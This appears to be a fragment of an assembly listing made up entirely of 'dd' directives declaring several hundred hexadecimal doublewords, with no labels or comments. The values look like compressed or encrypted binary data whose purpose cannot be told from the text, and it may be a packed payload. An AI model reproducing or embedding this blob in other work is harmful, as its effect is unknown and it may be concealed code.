dd 3460FE91h, 2B92D98Eh, 0C88096C9h, 4FFD0B60h, 0B665D2F4h
dd 0FDC65E0h, 0EEE12B83h, 0C36C6302h, 0B0A163B3h, 5E736644h
dd 88317DA6h, 763D84AAh, 253298C4h, 609C70D0h, 61FB5992h
dd 0B349812Ch, 95649FE4h, 69E6BCBBh, 936F554Ah, 2BDB1DBBh
dd 33CC8C05h, 0FEC966DAh, 0FDD65846h, 0CF0EFD8Ch, 0FB606AF1h
dd 2682AC9Ah, 8403B414h, 875CBEA5h, 5C7B5745h, 0FAA88D77h
dd 4BA53A8Dh, 4DAC5DB3h, 4C628BAAh, 0DB47B410h, 465F036Eh
dd 68DFDB34h, 0E3C7AEEEh, 9D439F02h, 2E89AAD2h, 0E2E83ADCh
dd 25FF0D58h, 741DF740h, 3BDD45A8h, 98844E80h, 34631080h
dd 0D6A8C71h, 74443BBAh, 20B5E75h, 9337417Dh, 0B35EEE82h
dd 0BB55BD6Ah, 77340FADh, 0C877CCB1h, 0E89F8138h, 0E96D23E0h
dd 0B0F9A91Fh, 81782161h, 2C7AA9ABh, 0B15E20ACh, 0DD337154h
dd 6E1F0E49h, 12750820h, 0D5860C8Eh, 0B772C388h, 8CCC394h
dd 47E88836h, 7AB2932Ah, 3A8A1FEBh, 2F4F2F2h, 4026FE6h
dd 6C50F2ACh, 70101C6Eh, 0E8783CAEh, 41295CF4h, 7D456C7Dh
dd 5B84799Ch, 618F8B96h, 6B175EE4h, 0A2E6655Ah, 4121E03Eh
dd 0A85628B7h, 0E92F5946h, 616B13E0h, 0DEA2C47h, 66774FF7h
dd 67A7848h, 0B013A33Bh, 0CDDFA8FFh, 1D34EEC0h, 5EC137AFh
dd 67C98B67h, 587CB5CAh, 562ECF56h, 0C64C3392h, 54153C8Eh
dd 5C26A8ACh, 0CC8583ECh, 6E3E6C06h, 0C2C0F936h, 0F7C3CC47h
dd 0CA81D693h, 85D5C979h, 2063E0C5h, 0D473FD19h, 228E3BD7h
dd 0DC42FEF9h, 0C74AE41Ah, 186F9305h, 0D7B53EEh, 0F2A28FE5h
dd 81D4EF83h, 0DCE256A4h, 56503371h, 5D80CD99h, 6E338C8Ah
dd 106E11C9h, 5EE1811Ah, 0E323029Ah, 979CDC1h, 3BBAAB46h
dd 4177A76Ah, 5CEDB063h, 0CC3C5FB1h, 0C38AE9A7h, 793CB67Ch
dd 0B4FD1498h, 33829367h, 13CC16A5h, 6EBB0C10h, 0A59DB822h
dd 6AF221Dh, 0F3DC481Ch, 8C47CDB2h, 9E3B5AEDh, 9D658024h
dd 0ACB0D878h, 0ECF98077h, 50D82142h, 0B987AD08h, 0CCC2ECF5h
dd 0A1B8C3DEh, 0D6182E5Fh, 383E0093h, 0B495714Ch, 0D9E32127h
dd 9C43F4C5h, 0E443EEB2h, 6A6647ABh, 0DE386D68h, 0C2C623BCh
dd 0F20D7D50h, 0C8F061C8h, 85672146h, 1272E485h, 7E8DFBAEh
dd 0EF8746AFh, 0F03B9265h, 0DF248BB0h, 8CF139C5h, 4389E781h
dd 183754C6h, 0A8A6E0E0h, 0EE89B70Bh, 5103830Eh, 0F91F8FF6h
dd 0E0DFB59Eh, 0C2F98789h, 3FFBB4BEh, 0F1BA418h, 0CEB8071h
dd 0E21F9744h, 43A2E986h, 0B0530DA7h, 0B2D0B3Dh, 0C0EC4F16h
dd 441D02B5h, 311EB63Ch, 0F21ED53Dh, 636662D0h, 0FEE0EEBFh
dd 36D4D78Bh, 469EEF9Eh, 0E006F836h, 0E904ED69h, 2784C9B8h
dd 0BE2F3138h, 0EDBCC55Fh, 61E76B1Ch, 90B675EEh, 0B1531863h
dd 0D89FC2B2h, 0A31E6257h, 201ED1F1h, 5D9710E3h, 90866607h
dd 1615BFCh, 45357F21h, 0B83B666Dh, 0E4B075FEh, 0F2FF5CC3h
dd 0E8F3E47Eh, 0E1B11FE6h, 72DF76CFh, 0FE7FFBBAh, 0CCA7BBC8h
dd 0E58D1FC6h, 0D627A3BBh, 0F53123FDh, 9F10E37Eh, 80D3DFC8h
dd 0DAAFB176h, 45E6A63h, 552DB326h, 54FFF627h, 73B437D3h
dd 60C37F4Dh, 39DB5FC4h, 0A7685FFBh, 22B48553h, 0B8D9A470h
dd 33ACAF08h, 93B4172Ah, 487CE1D2h, 0AE30EAE1h, 0C47FB9C8h
dd 0EE315B74h, 0D869EC8h, 0D15288FEh, 23CC7377h, 0A96C6400h
dd 764D0E85h, 1B231D02h, 0B3BF35ECh, 0AF1251E0h, 0F61D83C6h
dd 7E5FAF28h, 0B6AC7D18h, 5BB42C3Bh, 84EA95CAh, 315EBBE3h
dd 9743CEF9h, 87B39638h, 0BAF2169Ch, 805BB2B6h, 6153F030h
dd 3F8BC3Eh, 6CED5FF9h, 0B58A2439h, 22EC0382h, 4B70673Ch
dd 0EE70015Ah, 0B93F0B3Ch, 0DCD89AF2h, 0DADFC81Fh, 0C01ECC5Eh
dd 0C9F7B8D1h, 4F947C6Ch, 9D86042Bh, 0A478B7C2h, 1A703EEAh
dd 36617BBh, 983F08D7h, 394376E0h, 0D9E9446Eh, 2849E90Ch
dd 2738C93Dh, 38B20BDBh, 840EEF7Bh, 87BBC561h, 0D8BA50B8h
dd 32053366h, 8D6BBD03h, 697A01D4h, 1C0537C6h, 0F8107FAFh
dd 1DEBE8F0h, 1FECD990h, 7D1DB63h, 0D0C2EE61h, 0C889B665h
dd 0C9BD0EDFh, 6F4A4DECh, 0A6AEB1A5h, 0ACC13B74h, 3C0443E0h
dd 3062D332h, 94F9E230h, 7E30403Eh, 0A041F4Ah, 5B258364h
dd 49D30D89h, 60CE07C8h, 847DF7FBh, 995B88B1h, 0A48376D6h
dd 1F73A04Ah, 8F920216h, 23558562h, 0D67B23FEh, 0D81FF8FEh
dd 88A817F3h, 76ED8F3Ch, 63B6ED19h, 0BB46EDBBh, 0C4284D7Bh
dd 0A31682BAh, 0EE561F72h, 338EDA33h, 7951992Ah, 50712B10h
dd 2F7154E4h, 38F67DFDh, 8FBC11C3h, 2F08C2C4h, 0F3EC376Ah
dd 0FBE786FBh, 8FAE9B5Ah, 43DBAE98h, 3BF54EA7h, 0E3D230DAh
dd 2748D891h, 8B28C116h
dd 0BFB07665h, 0F30F3FE4h, 13DCE12Dh, 15D4831Ch, 445F6D68h
dd 0FD9F7DB5h, 413F7DF0h, 722D7EC0h, 34F4106h, 41394341h
dd 0B06801FEh, 0F6DDBBC1h, 0DC0F4E03h, 9238E9CFh, 9BAC7D82h
dd 61D9DB9Eh, 0DF601E7Ah, 7D9DB3D3h, 0ED09F8C5h, 0CADCF467h
dd 0FF633276h, 62DF70C7h, 0CB8ECD9Ch, 0B164EB10h, 5E0F10B6h
dd 33F222D1h, 0F90F33D5h, 746DDCh, 0BAD08B1h, 0B2D5D99Eh
dd 0E8ECCEB3h, 0BF05860Ch, 0C089E3A7h, 6D085D4Ch, 0BA36B2ABh
dd 0E7F75375h, 0B1D7BD6Ah, 2528B602h, 0BF5A8B6Ah, 0EC5B03C2h
dd 7ED09EEEh, 0AF648A65h, 16AE8259h, 0A937832Eh, 551EE756h
dd 7EAB6D0Ah, 61751B44h, 8F4EA2C4h, 0FAE5FE5Ah, 0CD412ABCh
dd 4E76CDC7h, 46DCECC4h, 564D8DEEh, 0ABC763ADh, 0EED778D2h
dd 0C6457FCAh, 4B2A93F2h, 0BE1ACC83h, 0C84A8725h, 96AD7B9Fh
dd 99CDA822h, 4F3DCD1Fh, 0CB3A10FDh, 4CDEA9DCh, 3B362387h
dd 3E7372F5h, 21A3A0E4h, 72822713h, 0B326AA7Eh, 3E9EDF69h
dd 39EA70C0h, 8AF9255h, 7D935289h, 54E4E477h, 7888D1D3h
dd 0B47E6C0Bh, 5A781314h, 0ABDEF952h, 0D0D764D5h, 0A16A21AAh
dd 327875E4h, 946D240Bh, 0E71D5CA3h, 6DEF9730h, 7884F2Dh
dd 2BA4E7F7h, 98578F07h, 639E8CE9h, 8BC9928Eh, 9C296B27h
dd 0B9C4C75Ch, 7B15AA2Dh, 0CDEDD1C5h, 0E513590h, 3255309Eh
dd 21C77C28h, 0AF26794h, 83EE52B5h, 87BDF29Ah, 444613CBh
dd 0C2F7C23Eh, 5B4F3515h, 7596F41Ch, 0DB278533h, 0EAF47970h
dd 0B331F215h, 0BF5A2A3h, 0BE0663B3h, 19E4130Eh, 59F0AFCAh
dd 0B2B1B858h, 0E0D81044h, 0BCF198BFh, 56C9994Ch, 0E01D085Eh
dd 4F51851h, 693B238Bh, 7B3D0413h, 9398DBC4h, 8D76A428h
dd 24BBEDA9h, 25D345B0h, 0C8F623F5h, 69584130h, 0E714D827h
dd 0BB0ED771h, 26CC1DF6h, 0F1407FC5h, 5A6AB7h, 9363A16h
dd 77759440h, 0DB5E16E3h, 0CC0A007Eh, 0D5E02079h, 0F9424861h
dd 7E047856h, 841E80E5h, 39842D62h, 95B2AD59h, 0FCB1B114h
dd 33100156h, 0C6A82540h, 4E013610h, 685A6019h, 16207F3Bh
dd 0F0FDE230h, 0D8718D85h, 9B8299Fh, 0C83F04E1h, 0E8079421h
dd 0FE8B5DCBh, 0FC208170h, 0FEA1CA5Eh, 34655CE6h, 0DF46185h
dd 0F780D580h, 0F164EEA7h, 71B3E630h, 0E71E7F9Ah, 9C317DF3h
dd 203FFF13h, 642CF27Bh, 173A4E7Fh, 91E7E599h, 42BFFF5Dh
dd 0B2167196h, 0A645CF6Bh, 0AB03A764h, 201D483Eh, 0C9FAA03Ah
dd 5704987Fh, 0F69C0F87h, 0A4076C9Dh, 0C6C50D35h, 5D10BCAEh
dd 196C03A8h, 76A3A8E0h, 5013076Dh, 0A14DBDCAh, 96484835h
dd 6A853420h, 93C56521h, 4862D086h, 296A51C5h, 0F529E2A4h
dd 4A24A414h, 254872Dh, 54859EA5h, 7D1EA522h, 946DD75Dh
dd 892A41F2h, 35217352h, 90955280h, 54A64Ah, 0D54A7652h
dd 0EF41CA40h, 3E23D44Eh, 6677FD5Bh, 7B1B26B5h, 34F22489h
dd 4869A352h, 0D5A6A15Dh, 0FCA14542h, 5D928E0Eh, 0F3C2E30Eh
dd 41A0349Ah, 6C704B5Fh, 4A3DA405h, 0BAABD468h, 6684AEh
dd 9B0EB6B0h, 81EEEB28h, 518D2ADFh, 8A8E3F7Bh, 0BF0DDD36h
dd 7B3DD5Dh, 0B2021A6Bh, 3D750FBAh, 41C79ACBh, 3705DF23h
dd 5F68B021h, 54309B0h, 3533CEFFh, 0BBC3206Bh, 6EF2D751h
dd 1D7D4DD6h, 2E107B17h, 7E92C166h, 0D5D5F341h, 0B1050F61h
dd 91D7EAE5h, 956BCAFh, 4FD03C6Dh, 1F6F0D46h, 77E107Ah
dd 508FBF56h, 2895A18Dh, 2AD0C6CAh, 725E047Ch, 410BD1C4h
dd 5CED4A9Bh, 760F6A04h, 0A4EA6C82h, 5C864D5Ah, 0D032EF2Eh
dd 0F66BDBA3h, 0FD7DB943h, 9DD36508h, 4D2C2BA7h, 57D1E84Ah
dd 0EA2EDBFAh, 0E8961900h, 0B4AB0EBh, 486BFE5h, 0EF46596Fh
dd 46AB03D1h, 87461E63h, 7DB5BCF0h, 8C91087Dh, 0EC3203EEh
dd 7981CC4Fh, 8699AF69h, 0BEE171F1h, 0BECD3460h, 3DE0668h
dd 9CAD08CBh, 0DE8C382Ch, 19F4F40h, 89B6ADDh, 127BCA15h
dd 0A3129058h, 4CDA0B46h, 0C4505078h, 9DE001D1h, 86711DB0h
dd 7F64BA83h, 1C1B5C21h, 0C6D6308h, 0B54C1B21h, 0D157ACA1h
dd 0F91FAAB2h, 0C3F3D9E2h, 638D1561h, 240A4763h, 773023ECh
dd 18C8831Ah, 78B7DB53h, 2BBD4454h, 45A06BA1h, 14BC12B9h
dd 3E3EDA2Ah, 0DFB91CA3h, 519FEF6h, 42E01257h, 0AB6D659Ch
dd 61F77CA0h, 69ED30CEh, 173A7FAAh, 0A6E37B7Eh, 56D5A2BAh
dd 0CE158425h, 871A12B0h, 1732A685h, 555D5415h, 2AC6DAAEh
dd 78ABFA5Ah, 0AAE2A3Fh, 0B7C59B96h, 65620066h, 25140653h
dd 0F2E62E3Ch, 509D9116h, 66ED76Dh, 55C1E52Ch, 4D782204h
dd 434B451Eh, 0C1FADBB0h, 96D18F3Eh, 8B9B69CAh, 433F49B4h
dd 1DF808DBh, 9D5EDD4h, 0AF197B5Eh, 4146E241h, 0AEC9ABA9h
dd 0CCE0A7Dh, 994083ACh, 0CFB32883h, 8BAECA26h, 18A6B033h
dd 35DB2358h, 0AF0DDF03h, 77F05F21h, 94E8DEBFh, 17A0810Dh
dd 3AFA7741h, 4B6895CCh, 2C490296h, 7D70087Eh, 0B6449613h
dd 8EA13605h, 2F3BE0Ah, 806129ABh, 23460D34h, 0B58F0245h
dd 6D450DDAh, 0FAB3A123h, 536516C3h, 8438EBFEh, 5C421838h
dd 9B29CF19h, 0CB41436Dh, 2D5BEA9Bh, 16574C72h, 48A2852Eh
dd 0B361FD56h, 0B51269B2h, 0E9168748h, 6CA73C65h, 0E6168C96h
dd 431C2DD3h, 0FD8EBB51h, 7C850789h, 0A0F88BD8h, 316BD675h
dd 211D074Dh, 2F2A99F6h, 17BBF18Ah, 0F3617D35h, 9B2C8C50h
dd 640484AAh, 0D4189E50h, 0AC5F6CDh, 4D0CB4BEh, 22EB022h
dd 8B031EDBh, 12DB642h, 7174DBA3h, 34578256h, 0E8AFD144h
dd 5E692BA1h, 75293979h, 0D78F661Ah, 5E497D9Bh, 80EEB433h
dd 0E39609D6h, 45E422F5h, 791BB7C8h, 901DE407h, 4DE4667h
dd 0FE41379h, 0BC7ADE62h, 623C825Eh, 0E9F2356Fh, 4F6F9AF6h
dd 43A65682h, 0D36A01D9h, 0D3C9C9F6h, 7B5D63h, 2FB0EAC7h
dd 0C259E30Ch, 51A70761h, 0B509DD0Dh, 0D45737C0h, 6B197A1Eh
dd 9437DE5Eh, 0C01E65EEh, 79682107h, 0AFA0B885h, 27C08EC3h
dd 9A0263BCh, 7D89CE3Ch, 0A26C09C4h, 0D92A6486h, 542D2545h
dd 6C952772h, 0FEC12A7h, 0B102B395h, 0A29CC12Eh, 0AA21A335h
dd 0C5AF07B7h, 521AAD57h, 0EF9A4EA8h, 0D8ADB450h, 56C2F162h
dd 4E57EA00h, 6E442BD9h, 914D258Bh, 1CD258DCh, 2D258EC9h
dd 4963AB91h, 2C717231h, 89491719h, 8491AD25h, 61E3258h
dd 5016F6B2h, 356137C4h, 495A6C0Dh, 70497BBAh, 0B501875h
dd 2DAB1B15h, 24A16D0Eh, 0FFD906A1h, 9E3C1668h, 0DC95EAC0h
dd 0C5DA1B6Ch, 127C7EEBh, 3A1EDAEBh, 0FBDE27C1h, 406460AFh
dd 6199B7Dh, 93C54DA5h, 0FB9CC5D8h, 0A46E178Bh, 49881CB1h
dd 0D3B5E323h, 2BED6806h, 612BC934h, 4173786Eh, 0BF223677h
dd 0B27545ABh, 722686A8h, 0AA21C59Bh, 0B293402Fh, 27D49106h
dd 0A2792935h, 0B41491AAh, 24BF5455h, 40AFF540h, 8C9DA8C6h
dd 0A9B5FDFAh, 0CA167B56h, 0A904976Ah, 5EAC657Eh, 0C6354D0Bh
dd 0B9638A92h, 6CA2C682h, 0B7D1CE5Ah, 4D39EF2Dh, 611252E2h
dd 0EA88522Dh, 236414F5h, 6B2AC617h, 0AC7172A9h, 97573172h
dd 7ED8A9B6h, 4A6C8113h, 38539AE3h, 0A508081Eh, 0CE8A79A3h
dd 720A00B9h, 0AA3320A1h, 2EC1AA6Ch, 6683DF36h, 0E23C12EEh
dd 42931978h, 574C20DBh, 4D7B0439h, 78313F52h, 76D4D38Bh
dd 0A3528A32h, 6F1FD235h, 9572FF98h, 0A12B88Ch, 61423B20h
dd 0AC9520FFh, 4BEC287Dh, 7C8E67AAh, 42C3C8C3h, 1DAD2573h
dd 6724E9BEh, 9F3B1FC8h
dd 0F152078Ah, 2DD2E38Bh, 0BB45BF0Eh, 18A58255h, 8B11FD79h
dd 323790E6h, 5C79A8DAh, 0C42182F2h, 13DDF63Ah, 84B934C0h
dd 2D09F3DDh, 2E684AF2h, 0A98248Eh, 0D10BA8F4h, 0DF21298Ch
dd 7F82482Bh, 15285356h, 0A312BFC8h, 76052826h, 0A4ABEE61h
dd 0A97BDCB6h, 8BDE8D58h, 9BAA26Fh, 0FA36C96Bh, 7EAF6CD0h
dd 0BC4F1485h, 0A9842725h, 7A54ABAAh, 9AF59CC2h, 9571B5F4h
dd 0EC0F0300h, 0ED7A180Ah, 0EA83A028h, 0C1ED91CDh, 104288DFh
dd 82C122B6h, 0BD2DBD5Eh, 0A9AC570Bh, 864CEA0Dh, 0B561E1F9h
dd 828663A0h, 556D185Eh, 0BC62A1Ah, 7FFC008Eh, 0E477FE15h
dd 3C0B0E09h, 1C17CDAFh, 1CFFF86Eh, 8E08273Eh, 127FFC20h
dd 73C20FCAh, 31C144EEh, 872836F2h, 9FFC32FFh, 0E1CBFF06h
dd 7FE0EFFFh, 45FFC25h, 0FF859FFFh, 7CF6D0ADh, 0B4856F80h
dd 58E09275h, 0C0F7FF07h, 9FF063FFh, 0EEC1F09Fh, 0ABBD6BC3h
dd 0B1C8CDC9h, 5793B774h, 0F890EEE9h, 27F22DABh, 267451DDh
dd 4DBD2995h, 42E45DEEh, 0FF91F7BAh, 0E7216EE8h, 3C807DD1h
dd 83AB7747h, 0DFD1071Eh, 935D8674h, 80E7CC42h, 897CBBDFh
dd 952DAEB9h, 0FACD8387h, 7DC86B6h, 7C94D7C2h, 0DF8DB712h
dd 78F09650h, 944A9551h, 3C2CBC64h, 0D546F459h, 7732BBE6h
dd 0E652D568h, 396975A7h, 0D78F17B5h, 3FCE46D2h, 0B3310029h
dd 0C51BBF0Eh, 9C66CE9Dh, 0EF6B58FAh, 0DAF075AFh, 0F536A9EFh
dd 0D6135ADCh, 89714BAAh, 32CA8AF2h, 9296AA5Ah, 0DFC32C6Eh
dd 0A95C32DAh, 8A2F96F0h, 544B4D42h, 0A67CB02Eh, 2EFE4817h
dd 5E52D96Dh, 0BB3F8383h, 5289CD02h, 0D85D9D25h, 0E7CDA1CCh
dd 774BAB40h, 2CA0469Dh, 0F7F845DBh, 0DC327E11h, 4D285B4Bh
dd 19297B26h, 880765E6h, 67BFB42Eh, 0D38B5475h, 71170E32h
dd 0D5260965h, 92CA7DFCh, 51689419h, 0E2505496h, 41E4B280h
dd 4B2AB44Ah, 41C4A51Eh, 120F8965h, 33E6AE5h, 27973523h
dd 1FE4807Fh, 921DB278h, 8793C95h, 0D93CD592h, 0BAB41861h
dd 4BB5A3FCh, 93A25016h, 0FCBAB09Bh, 3525DAAEh, 595475D4h
dd 5E894B52h, 201A0965h, 3A3170D9h, 0C8E0F006h, 0AC79D369h
dd 81A0BF5Dh, 44F4510Bh, 0CDAB710Dh, 0AE3B9925h, 0B15A4BF2h
dd 0A82ADF44h, 7B581B4Bh, 0C77F6C01h, 0FAE5FE5Ah, 1011D66Ah
dd 0D738899Ah, 8017BE05h, 0C8F0F081h, 408D9979h, 4504CF13h
dd 5A3B3C20h, 3F60366h, 0F754CFE8h, 3FE5B552h, 6AA49F55h
dd 41AAE7F1h, 8B67D05Dh, 67818503h, 773452DDh, 941CCBB5h
dd 0FC69481Eh, 414D2EADh, 0A59739Fh, 4D2953A5h, 1A696886h
dd 0B977F1A5h, 1F1D34BAh, 9E74B2CAh, 0F0E794BBh, 87432DA1h
dd 441CACB4h, 305CAE5Eh, 0FEEDEC76h, 5B5DAF2Eh, 85B9DD76h
dd 43DE2D6Ah, 3B1BBB89h, 3549825Dh, 22594BBFh, 0B90219C7h
dd 0C810CE33h, 81238D4h, 0C9BDB1C2h, 0E3640B67h, 0E943F72Bh
dd 50B33ADCh, 4673D4E2h, 0BD8421E3h, 36F306C6h, 29CF1A30h
dd 0B7087B04h, 0C9D1818Ah, 0AFC5F198h, 0C11DB531h, 0FE1D4CFCh
dd 0C54509F7h, 58977B9Bh, 98BD5E1Ch, 343ACCDh, 0DABECC5Ch
dd 60E543C9h, 57010351h, 0E2CCB88Ch, 0E941F590h, 9E07669Dh
dd 5CA151ABh, 7A0FA252h, 51D9A8F4h, 92FA11B1h, 3EAB7715h
dd 0BAC841E8h, 0A3497C9Ah, 1ED26431h, 0F44DC3CAh, 9337DC68h
dd 4DD6D64Dh, 7E460E5Dh, 3C260BCAh, 61357113h, 36C2E014h
dd 0B99D130Ch, 8FBFFE11h, 73C68BBh, 37978719h, 0C70DF57h
dd 0EAB6B4EDh, 73D2505Fh, 55EFF03h, 4CEDF066h, 0E8DA6EE8h
dd 36321FE7h, 279AF6FAh, 56F7D0F0h, 0D8BC6931h, 9315EBBDh
dd 0BB64C182h, 2412E271h, 0B0B157EFh, 25E9E76Ah, 6685AAC9h
dd 71FF5B18h, 19A1DFA8h, 41AD7127h, 15040495h, 53D8CF27h
dd 1066B5E9h, 0F1AA86Eh, 824A664Eh, 87797BAh, 44B630ACh
dd 5583BB99h, 0D7735D92h, 954096C1h, 0FCDB43CAh, 70235556h
dd 962D9E28h, 0F047362Bh, 0BBA4D136h, 2C5CDCA5h, 0BE8CFCAAh
dd 0F634F088h, 4A17B992h, 6A20B4E2h, 3615954Bh, 683C6618h
dd 4B2AB2C3h, 0D99D22B9h, 0F5B2AE2Eh, 0F016DBB8h, 42712A49h
dd 0D99C8789h, 827B4C37h, 12DFE966h, 0B6442D71h, 8D9902F1h
dd 11001280h, 0D670377Dh, 254B2061h, 77AF92B9h, 6845F342h
dd 0BF93B93Bh, 0BB8713B6h, 8EF93B88h, 0A1ACF25Ah, 9AF64A5h
dd 0C41F1712h, 0B24F937h, 0F5335165h, 49428F0h, 6525176Fh
dd 98EE3A11h, 0E66EAB62h, 9B8144A1h, 176E6011h, 88B296E7h
dd 5D95B3FBh, 0B27B98D8h, 0C45C2E81h, 18684595h, 8EF064E7h
dd 206845B5h, 29AA7733h, 0BF055E38h, 8B0C1097h, 661067AEh
dd 8C400FD6h, 0F63977C3h, 0E13F5F87h, 9B35B15Ah, 0B79BE1F0h
dd 56849011h, 0F2A923C0h, 0F74D804Bh, 0AE86A95Dh, 0A6244639h
dd 0AAC88B2Bh, 218EB285h, 2D298B05h, 2EAD1A52h, 8AFAE740h
dd 1CE9BC40h, 595CB73Ch, 0E867EDC4h, 8E863D2h, 3426E22Eh
dd 6473C194h, 40574345h, 0DA1176A6h, 0FAF42D4Fh, 0F71E6251h
dd 0C8BD7EFBh, 0F5C8DC8Ch, 650D3478h, 0F01252C1h, 5B23684Ch
dd 0E815A780h, 0F22FDC42h, 139A4083h, 8BFB6EB5h, 61724138h
dd 84BFB502h, 2CFD5629h, 524B0FCCh, 0E7DEE2BCh, 0EF734ABBh
dd 0A0208AF3h, 0C8E660BBh, 409C218Dh, 1E431A03h, 62AC8878h
dd 5B49C921h, 0FC9CBA57h, 0A85995AAh, 90F1FEDDh, 6CEB3A7Ch
dd 2A664BDFh, 0E35A3700h, 5B8A3CF2h, 1FAAB5AAh, 9DDFB1E5h
dd 9C5F8303h, 0F3E76629h, 297E2D4Eh, 820BE748h, 0AB46AAEFh
dd 9179A555h, 0DFD56B57h, 134D9B26h, 0FC00F23h, 15383886h
dd 0F2172E07h, 55A362BCh, 5365C954h, 0BB9A2DDCh, 2336A105h
dd 35E8A354h, 794D5A37h, 0B973568Dh, 80274C1Ah, 0FB9A03h
dd 73C02h, 0D6335E79h, 5297F519h, 6EE6B37Dh, 10AAFAC6h
dd 0BB3A40CEh, 0C8CD6E0Bh, 5E43183h, 0C65C03Eh, 87FA0E60h
dd 0BEEC4D7Ah, 9E509322h, 0B33C96E3h, 0EEC75F61h, 0F48C1C84h
dd 96D5A360h, 220FB9A7h, 93F63362h, 813CFD4Dh, 0E38BE6ABh
dd 7A40D980h, 0ABB95E5Eh, 7360295Eh, 959B8A2Ch, 0E098AB07h
dd 8D68DA1Bh, 0BFAC6687h, 8D0D5F59h, 13680F32h, 6D54F8F3h
dd 91E626B4h, 68BBBB7Ah, 0EEA926AEh, 0E31572AEh, 33723054h
dd 0A8EE682Ah, 1B4D0CD7h, 0CBBBA9B0h, 8AB9CD4Ch, 0C31FD58Ah
dd 5B44104Ah, 0FCC4D77Fh, 0BB09E0FCh, 0B7EA4532h, 55728E1Ch
dd 0D20465A5h, 0BCCF6862h, 2A7B422Fh, 5D99C13Dh, 0DBAA5180h
dd 0DE17D792h, 0CD6B5AD5h, 5A71C283h, 52623AF0h, 65D55834h
dd 44040D9Fh, 0D4F40081h, 0D7F9FBE3h, 883BB9A1h, 4644518Ch
dd 17464634h, 4B72EB50h, 0EE74FFD5h, 8D0179CFh, 5EE3F545h
dd 4814A3D1h, 8FF80B11h, 3CD4D68Dh, 25571517h, 4C7635A8h
dd 4005E5E0h, 54FA5FDBh, 19CF74ACh, 1C69E980h, 0F8400EF0h
dd 66589051h, 0C5F0DAD4h, 0AC7C4D63h, 125BA0A7h, 0F2B71D2Dh
dd 19CD4ACAh, 0E45B21CEh, 555C009Bh, 8A24C09Fh, 0B9B5FC38h
dd 578F3936h, 0BDA75F55h, 0B549D680h, 0C347D380h, 73F71C02h
dd 0C059A01Ch, 6C10C058h, 5D045D10h, 9991A2D9h, 91CB6E72h
dd 13CE52FCh, 0A57CA268h, 354A5630h, 0A460935Ah, 6E1BA7F6h
dd 1BDBABCDh, 3B5CC6FEh, 79F5CF38h, 3A282DF5h, 539BCB0h
dd 0A403A552h, 88979A64h, 0C4C8CFE1h, 20294588h, 0F4808A4Eh
dd 0A4E202E8h, 67388FD8h, 0CD954BAh, 3B409EEDh, 0D1B7BBE7h
dd 6192AC9Ah, 70BCC513h
dd 0DAE619ABh, 0E4A63CCEh, 556AB790h, 0B34E18C9h, 61B73A74h
dd 0A5A1AD06h, 8C075313h, 0E733A594h, 698AB209h, 0EAA1EDCh
dd 0D832834Bh, 45C639D2h, 470EB3C5h, 0CD30180h, 36B6083Bh
dd 0E746859Ch, 4613401Fh, 575D5CB6h, 0EDEA0520h, 277535C0h
dd 3EBECB48h, 3A5660Ch, 8472E40Dh, 605FFD03h, 988EEECCh
dd 8608DCB5h, 0DEDF368Bh, 0CADAFC05h, 400A314h, 0CCA18AC0h
dd 0E60A7302h, 0F6677015h, 0A6486048h, 0DF8D1A5Bh, 0DB36AA7Fh
dd 90EB46F4h, 14D0B3BCh, 0CDF37DB3h, 80A1118h, 940EEE2Ch
dd 1D0A3BBFh, 7E0C6ACDh, 0E0B9CE80h, 875A3673h, 0D308BAAh
dd 7300B1CCh, 53674D28h, 0C73DD08Bh, 0FB14B6D9h, 6EB472A0h
dd 0F45B4037h, 116D05CFh, 1A437C3Eh, 79E417ADh, 0D5A3721Dh
dd 66CC5791h, 0C05437CCh, 0FFC03311h, 0C38D3E67h, 0E79597Fh
dd 5FF71D9h, 0EE134090h, 0B409081Fh, 4697EDEh, 0C3DF6E59h
dd 0CF0F36B1h, 6178E347h, 0E89E4B5Dh, 2BC3AF0h, 5D98AA0Ch
dd 0E6C9F38h, 158A05ADh, 280EB452h, 0A89D6079h, 0CE8A481Bh
dd 0BECAEF30h, 0E9FDBF7Eh, 79589430h, 96B24597h, 635990E7h
dd 0D34BA900h, 4039177Ch, 0B4D68D6Ah, 8EB422BCh, 0EE291EB4h
dd 3B7B9AEDh, 4025778Eh, 66A13A59h, 2ED51E58h, 9AADDAA6h
dd 2ED62B7Bh, 0D6E0DAA0h, 0A3677554h, 810E22F5h, 10CE16EBh
dd 126F936h, 0B8A45405h, 0C3B9AC3h, 0F40277D0h, 65B8A38Bh
dd 4B240AD3h, 28FB9AA7h, 0E48B4A7Dh, 0BADBD379h, 59D4FB1Eh
dd 0EC54F5A3h, 603D676Bh, 64BBF07Fh, 3DCEDDDDh, 0DD71ADF5h
dd 86C2FA47h, 6AE1435Ch, 0D4B18A87h, 60B7A3ECh, 0DDE6B3C1h
dd 0BAAA3FEEh, 7DAD1BDBh, 8D1D5E79h, 0D80D62A1h, 9D2DD22Eh
dd 794D2D1Ah, 94665F6Ah, 0F6644B27h, 38E27FE7h, 5DEE6976h
dd 0BBD94045h, 4D1780F3h, 0C9526D30h, 0E975566Ch, 5022C9B0h
dd 0D19B32F4h, 1E667B9Fh, 969E0F29h, 0DF05D957h, 44CA600Dh
dd 1A522DAFh, 31209A8Ch, 18253220h, 39224335h, 0B5182932h
dd 0E3DF43D8h, 0F4D1CFFBh, 0F35ECC46h, 18DCBA2Fh, 0AC6D4E19h
dd 9B79AB91h, 0BC25C8F8h, 0A549148Dh, 0D99F6F36h, 136C65E6h
dd 0B6C25657h, 0E0378074h, 974D7D86h, 0A0549C07h, 8E367B45h
dd 0AB98441Eh, 0DF1DB661h, 49BF3705h, 9D5C306Fh, 0E0608EB3h
dd 5E57EFBCh, 48C00381h, 4B973168h, 0E9E788D8h, 7C36E1D8h
dd 0EEE8DB79h, 0E3864533h, 8073B86Bh, 5240E7CEh, 0DA30280Ch
dd 15B98E46h, 0CFFA9C5Fh, 0D13353E7h, 0B05FF8BEh, 0E8888A4Fh
dd 0F07EEBA6h, 0BBC02BAEh, 903DC4A6h, 1F55408h, 2E766A05h
dd 741CC8BEh, 0C5C89437h, 61971915h, 320BAB26h, 0AD501815h
dd 0D206BA0Fh, 74BD6E75h, 3C3CC45Ah, 81ADB65Ch, 0E6F0B02h
dd 3064BEE9h, 0FBE0F71Eh, 35617603h, 239A7A5Eh, 0E2FB8E86h
dd 3E41F58Bh, 34ACAAE8h, 0E0B525F6h, 10BA5ECCh, 29B68527h
dd 0A071EAF6h, 5555D268h, 0FCB6B152h, 7E037429h, 175DA22Fh
